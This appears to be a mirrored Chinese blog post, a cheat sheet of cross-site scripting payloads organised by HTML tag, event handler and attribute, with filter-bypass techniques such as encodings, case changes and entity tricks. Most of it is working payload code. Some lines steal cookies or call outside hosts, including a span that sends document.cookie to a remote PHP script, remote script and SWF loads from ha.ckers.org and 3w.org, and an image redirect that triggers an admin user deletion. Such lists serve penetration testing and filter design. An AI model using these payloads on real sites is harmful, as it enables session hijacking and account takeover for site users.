zoukankan      html  css  js  c++  java
  • XSS Payload List

    标签、事件、属性

    xss的攻击原理就是前端被插入了恶意的js代码,下面展示大部分可以执行js的标签、事件、属性;

    标签(label)

    <script>  <a>  <p>  <img> 
    
    <body>  <button>  <var>  <div> <style>
    
    <iframe>  <object>  <input>  <select> 
    
    <textarea>  <keygen>  <frameset>  <embed> 
    
    <svg>  <math>  <video>  <audio> 
    
    <link>  <table>
    

    事件(event) --- 事件都是onXxx开头

    onload  onerror  onunload  onchange  onsubmit
    
    onreset  onselect  onblur  onfocus
    
    onabort  onkeydown  onkeypress  onkeyup 
    
    onclick  ondbclick  onmouseover  onmousemove 
    
    onmouseout  onmouseup  onforminput  onformchange 
    
    ondrag  ondrop 
    

    属性(attribute)

    formaction  action  href 
    
    xlink:href  autofocus  src
    
    content  data expression
    

    HTML代码注入

    script标签

    <script>document.write(String.fromCharCode(在这里写上你的代码));</script>   //过滤了等号、单引号、双引号、空格的绕过方法
    
    ><script>alert(document.cookie)</script>
    
    </script><script>alert(doucument.cookie)</script>
    
    <script firefox>alert(1)</script>  //其实我们并不需要一个规范的script标签 
    
    <script>~'u0061' ;  u0074u0068u0072u006Fu0077 ~ u0074u0068u0069u0073.  u0061u006Cu0065u0072u0074(~'u0061')</script> 
    <script/src=data&colon;text/ju0061vu0061&#115&#99&#114&#105&#112&#116,u0061%6C%65%72%74(/XSS/)></script>//在这里我们依然可以使用那些编码 
    <script>prompt(-[])</script> //不只是alert。prompt和confirm也可以弹窗 
    <script>alert(/3/)</script> //可以用"/"来代替单引号和双引号 
    <script>alert(String.fromCharCode(49))</script> //我们还可以用char 
    <script>alert(/7/.source)</script> // ".source"不会影响alert(7)的执行 
    <script>setTimeout('alert(1)',0)</script> //如果输出是在setTimeout里,我们依然可以直接执行alert(1)
    
    
    <SCRIPT SRC=//3w.org/XSS/xss.js> //无结束脚本标记
    <SCRIPT SRC=http://3w.org/XSS/xss.js?<B>; //无结束脚本标记(仅火狐等浏览器)
    

    a标签

    <a href=java&#97;script:alert(document.cookie)>href</a>
    <svg><a xlink:href="javascript:alert(1234)"><rect width="1000" height="1000" fill="white"/></a></svg> 
    

    img标签 + onerror(都是通过event来调用js)

    <img src=# onerror="alert(document.cookie)"/>
    <img src=x onerror=alert(1)> 
    <img src ?itworksonchrome?/onerror = alert(1)>  //只在chrome下有效 
    <img src=x onerror=window.open('http://google.com');> 
    <img/src/onerror=alert(1)>  //只在chrome下有效 
    <img src="x:kcf" onerror="alert(1)">
    
    //IMG嵌入式命令,可执行任意命令
    <IMG SRC="http://www.XXX.com/a.php?a=b">
    
    //IMG嵌入式命令(a.jpg在同服务器)
    Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
    

    button标签

    应该有一部分人对于button标签的js调用还停留在通过event事件来实现。像下面的例子.:

    <button/onclick=alert(1) >M</button>
    

    那么如果所有的on(event)被过滤了,我们就没有办法了么?其实html5已经给我们带来了新的姿势:

    <form><button formaction=javascript&colon;alert(1)>M
    

    也许看到这里就有人会吐槽,这种需要用户交互的啊! 如果使用onfocus事件,再加上autofocus我们就可以达到自动弹窗,无须交互了。

    <button onfocus=alert(1) autofocus>
    

    p标签 + onmouseover事件(都是通过event来调用js)

    <p/onmouseover=javascript:alert(1); >M</p>
    <p onmouseover=alert(/insight-labs/)>insight-labs、<frameset onload=alert(/insight-labs/)>、<body onload=alert(/insight-labs/)>   
    

    body标签 + onload(都是通过event来调用js)

    <body onload=alert(/insight-labs/)>
    <BODY BACKGROUND="javascript:alert(XSS)">
    <body onload=alert(1)> 
    <body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus> 
    

    var标签

    <var onmouseover="prompt(1)">KCF</var>
    

    input标签 + 属性/事件

    <INPUT TYPE="IMAGE" SRC="javascript:alert(XSS);">
    <input onfocus=javascript:alert(1) autofocus> 
    <input onblur=javascript:alert(1) autofocus><input autofocus>
    

    link标签

    <LINK REL="stylesheet" HREF="javascript:alert(XSS);">
    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
    

    object标签

    <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
    
    <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert(XSS)></OBJECT>
    

    meta协议标签

    META协议
    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(XSS);">
    <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
    <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert(XSS);">
    

    frameset标签

    <frameset onload=alert(/insight-labs/)>
    <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
    <FRAMESET><FRAME src=javascript:alert('XpSS')></FRAME></FRAMESET>
    

    table标签

    <TABLE BACKGROUND="javascript:alert('XSS')">
    <TABLE><TD BACKGROUND="javascript:alert('XSS')">
    

    onclick、onmouseout属性

    <L onclick=alert(document.cookie)>click me</L★最琀;弹出1
    
    <span class="qm_ico_print" id="mail_print" title="打印" onclick="window.open('/cgi-bin/readmail?sid=SC_hEOi3h_nqEgJQ&amp');"></span>
    
    <a href="http://www.baidu.com" style="color:#143d70; simsun;" onclick="alert(/a/);this.style.behavior='url(#default#homepage)';this.setHomePage('http://www.baidu.com'); return(false);">asdasdsad</a>
    
    <span onclick="javascript:changeFont(2);">
    <SPAN class="xmsw" title=dd onmouseout=window.location='http://www,xfydyt.com'>test</span>
    <span class="xmsw" title="dd" onmouseout=window.location='http://test/test.php?c='+document.cookie>test</span>
    <SPAN class="xmsw" title=dd onmouseout=javascript:alert(document.cookie)>test</SPAN>
    

    CSS代码注入 div、style标签 + expression属性

    <STYLE>
        .testcss{
            color: expreseion(alert(1))
        }
    </STYLE>
    
    <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
    <style>body {background-image: url("javascript:alert(123)");}</style>
    <STYLE>@importjavasc ipt:alert("XSS");</STYLE>
    <STYLE>@importhttp://ha.ckers.org/xss.css;</STYLE>
    C<STYLE TYPE="text/javascript">alert(XSS);</STYLE>
    <STYLE>.XSS{background-image:url("javascript:alert(XSS)");}</STYLE><A class="XSS"></A>
    <STYLE type="text/css">BODY{background:url("javascript:alert(XSS)")}</STYLE>
    
    <div style="background-image:url(javascript:alert(123))">
    <DIV STYLE="background-image: 075 072 06C 028 06a 061 076 061 073 063 072 069 070 074 03a 061 06c 065 072 074 028.1027 058.1053 053 027 029 029">
    <DIV STYLE=" expression(alert(XSS));">
    

    注入div

    list.html?keyword="-prompt(document.cookie)-"
    
    <span class="test">&quot;-prompt(document.cookie)-&quot;</span>
    

    DOM型注入 iframe标签

    iframe标签这个例子当中值得一提的是,有时候我们可以通过实体编码 &Tab(换行和tab字符)来bypass一些filter。

    我们还可以通过事先在swf文件中插入我们的xss code,然后通过src属性来调用。不过关于flash值得一提的是,只有在crossdomain.xml文件中,allow-access-from domain=“"允许从外部调用swf时,我们才可以通过flash来实现xss attack。

    <IFRAME SRC="javascript:alert(1);"></IFRAME> 
    <iframe/onload=alert(53)></iframe>
    

    onload执行js

    <iframe onload="alert(1)"></iframe>
    

    src执行javascript代码

    <iframe src="javascript:alert(1)"></iframe>
    

    IE下vbscript执行代码

    <iframe src="vbscript:msgbox(1)"></iframe>
    

    Chrome下data协议执行代码

    <iframe src="data:text/html,<script>alert(1)</script>"></iframe>
    
    ?url=<iframe
    src=JavaScript:(prompt)(document.domain)>a://目标url<a>
    
    <iframe src="data:text/html,&lt;script&gt;alert(1)&lt;/script&gt;"></iframe>
    

    Chrome下srcdoc属性

    <iframe srcdoc="&lt;script&gt;alert(1)&lt;/script&gt;"></iframe>
    

    JS代码注入,意味着无需< >

    javascript:alert('DOM XSS')
    #javascript:alert('DOM XSS')
    
    #vbscript:msgbox(IE)
    
    #data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
    
    ?query%5Border_No%5D=&query%5Bm
    obile%5D=%27%2balert`1`%2b%27
    
    ?query[order_No]=&query[m
    obile]='+alert`1`+'
    

    绕过过滤的方式

    白盒

    • 阅读代码,查看开发写的过滤方法是怎么过滤的,针对性的看有什么是可以pass的

    黑盒就尝试下面的方法

    • 转编码、进制、混合编码
    &lt;script&nbsp;src=//xss.tw/3058&gt;&lt;/script&gt;
    &quot;  引号
    &nbsp;  空格
    &lt;    <
    &gt;    >
    
    • 大小写
    • 多层嵌套
    • 尝试一下其它标签、属性、事件

    代替空格

    <img/src=x onerror=alert(1)>
    
    <M/onclick="alert(1)">M
    

    最短xss 20个字符

    <b/ondrag=alert()>M
    

    可以尝试的标签

    // US_ASCII编码(库尔特发现)。使用7位ascii编码代替8位,可以绕过很多过滤。但是必须服务器是以US-ASCII编码交互的。目前仅发现Apache Tomcat是以该方式交互
    ?scriptualert(EXSSE)?/scriptu
    
    <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert(XSS);">]]>
    
    <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert(XSS)>
    
    </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
    

    flash注入 embed标签

    embed标签可以嵌入FLASH,其中包涵XSS;

    <embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4="></embed> //chrome 
    <embed src=javascript:alert(1)> //firefox
    
    <EMBED SRC="http://3w.org/XSS/xss.swf" ></EMBED>
    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
    

    .swf

    Code: a="get";
    b="URL("";
    c="javascript:";
    d="alert(XSS);")";
    eval(a+b+c+d);
    

    参考

    https://www.leavesongs.com/PENETRATION/xss-collect.html

  • 相关阅读:
    not(expr|ele|fn)从匹配元素的集合中删除与指定表达式匹配的元素
    has(expr|ele)保留包含特定后代的元素,去掉那些不含有指定后代的元素。
    map(callback)将一组元素转换成其他数组(不论是否是元素数组)
    is(expr|obj|ele|fn)
    filter(expr|obj|ele|fn)筛选出与指定表达式匹配的元素集合。
    eq(index|-index)
    clone([Even[,deepEven]])克隆匹配的DOM元素并且选中这些克隆的副本。
    detach([expr]) 从DOM中删除所有匹配的元素。
    scrollTop([val])
    offset([coordinates])
  • 原文地址:https://www.cnblogs.com/mysticbinary/p/12158729.html
Copyright © 2011-2022 走看看